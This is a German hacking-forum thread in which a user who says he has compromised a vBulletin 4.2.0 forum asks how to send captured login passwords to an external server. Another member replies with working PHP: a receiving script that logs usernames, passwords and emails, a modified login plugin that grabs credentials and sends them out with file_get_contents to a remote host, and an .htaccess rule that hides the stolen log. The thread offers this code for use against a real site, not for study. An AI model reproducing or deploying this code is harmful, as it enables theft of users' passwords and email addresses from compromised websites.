Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

vBulletin Password Logger / Logs auf externen Server saven?

- - - - -

  • Bitte melde dich an um zu Antworten
7 Antworten in diesem Thema

#1
highz

highz

    Noob

  • Members
  • PIPPIP
  • Likes
    2
  • 12 Beiträge
  • 0 Bedankt
Liebe Community,
Ich habe erfolgreich ein vBulletin geshellt zwar nichts grosses aber mein erstes "Board".
Darauf würde ich gerne die Passwörter und IP/UA loggen.
Habe auch im Netz zwei kleine Snippets gefunden die mir zumindest das PW logging ermöglichen. Aber ich würde gerne die Logs auf externen Server speichern.

Wie realisiere ich das mit diesen Snippets? Habe zwar eine Idee aber bin mir nicht so sicher deshalb möchte ich euch um Rat fragen.

Hier sind die Snippets:

Please Login HERE or Register HERE to see this link!




Handelt sich um ein vBulletin 4.2.0 Board



MfG
Highz

Bearbeitet von highz, 24 January 2015 - 16:42 Uhr.


#2
FalkE

FalkE

    1337

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    4
  • 349 Beiträge
  • 79 Bedankt
  • Android [root]
  • Linux

die relevante frage ist ob deine shell schreibrechte (chmod 777) hat oder nur leserechte (755) besitzt.



#3
highz

highz

    Noob

  • Members
  • PIPPIP
  • Likes
    2
  • 12 Beiträge
  • 0 Bedankt
Besitz 755 aber konnte das Admin Pw durch einen billigen Trick ergaunern

#4
FalkE

FalkE

    1337

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    4
  • 349 Beiträge
  • 79 Bedankt
  • Android [root]
  • Linux

Besitz 755 aber konnte das Admin Pw durch einen billigen Trick ergaunern

ich dachte deine frage war jetzt eher auf das allgemeine logging bezogen.


  • highz gefällt das

#5
highz

highz

    Noob

  • Members
  • PIPPIP
  • Likes
    2
  • 12 Beiträge
  • 0 Bedankt

ich dachte deine frage war jetzt eher auf das allgemeine logging bezogen.


Nein, möchte halt das "logging plugin" also die Code Snippets die ich oben geposted habe so umändern das es nicht die Logs in einem lokalen Ordner wie dort: /includes/lg.html speichert sondern dass das Plugin die Logs an einen externen Server weiterreicht wie z.B.

Please Login HERE or Register HERE to see this link!


Bearbeitet von highz, 24 January 2015 - 16:19 Uhr.


#6
R3s1stanc3

R3s1stanc3

    Hacktivist

  • Premium Member
  • Likes
    22
  • 72 Beiträge
  • 4 Bedankt
  • 687249355
  • Android [root]
  • Linux

Du legst auf deinen Server, auf dem die Logs geschrieben werden sollen folgende PHP Datei:

<?php
$fp = fopen ( "log.txt", "a+" ) ;
fwrite ( $fp, $_GET["user"] . ':' . $_GET["pass"] . ':' . $_GET["mail"] . "\n" ) ;
fclose ( $fp ) ;
?>

Dein logging Plugin passt du dann so an, dass statt in eine Datei zu schreiben folgender HTTP Request gestellt wird (z.B. mit Hilfe von curl):

"http://site.com/log.php?user=".$lg_username."&pass=".$lg_password."&mail=".$row["email"]

Dann werden die Logs auf deinem Server in die Datei log.txt geschrieben. 

Edit:

einfacher als curl ist folgendes:

@file_get_contents ( "http://site.com/log.php?user=" . $lg_username . "&pass=" . $lg_password . "&mail=" . $row["email"] ) ;

Bearbeitet von R3s1stanc3, 25 January 2015 - 02:15 Uhr.


#7
highz

highz

    Noob

  • Members
  • PIPPIP
  • Likes
    2
  • 12 Beiträge
  • 0 Bedankt

Du legst auf deinen Server, auf dem die Logs geschrieben werden sollen folgende PHP Datei:

<?php
$fp = fopen ( "log.txt", "a+" ) ;
fwrite ( $fp, $_GET["user"] . ':' . $_GET["pass"] . ':' . $_GET["mail"] . "\n" ) ;
fclose ( $fp ) ;
?>
Dein logging Plugin passt du dann so an, dass statt in eine Datei zu schreiben folgender HTTP Request gestellt wird (z.B. mit Hilfe von curl):
"http://site.com/log.php?user=".$lg_username."&pass=".$lg_password."&mail=".$row["email"]
Dann werden die Logs auf deinem Server in die Datei log.txt geschrieben. 
Edit:
einfacher als curl ist folgendes:
@file_get_contents ( "http://site.com/log.php?user=". $lg_username . "&pass=" . $lg_password . "&mail=" . $row["email"] ) ; 


Danke für deine Hilfe, leider schaffe ich es nicht das Plugin mit deinem curl oder file_get_contents vorschlag anzupassen. .

#8
R3s1stanc3

R3s1stanc3

    Hacktivist

  • Premium Member
  • Likes
    22
  • 72 Beiträge
  • 4 Bedankt
  • 687249355
  • Android [root]
  • Linux
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$lg_file = "./includes/lg.html";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");

while($row = @mysql_fetch_array($sql_query))
{

if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
@file_get_contents ( "http://site.com/log.php?user=". $lg_username . "&pass=" . $lg_password . "&mail=" . $row["email"] ) ;
}
}

Sollte funktionieren. Ich bin aber kein PHP Coder und übernehme keine Verantwortung, wenn mein Script vuln ist oder irgendetwas nicht funktioniert ;)

 

Ggf willst du nicht, dass man aus dem Web die log.txt lesen kann, dann schreibst du folgendes in deine .htaccess

<Files ./log.txt>
Order Allow,Deny
Deny from all
</Files>


Thanked by 1 Member:
highz


  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 9 user(s)


    annie234, dawid38@hotmail.de, Elke, gtawelt, karotte21, mariosgoz, Netwxrk, NoName1618, Smokyjoe
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.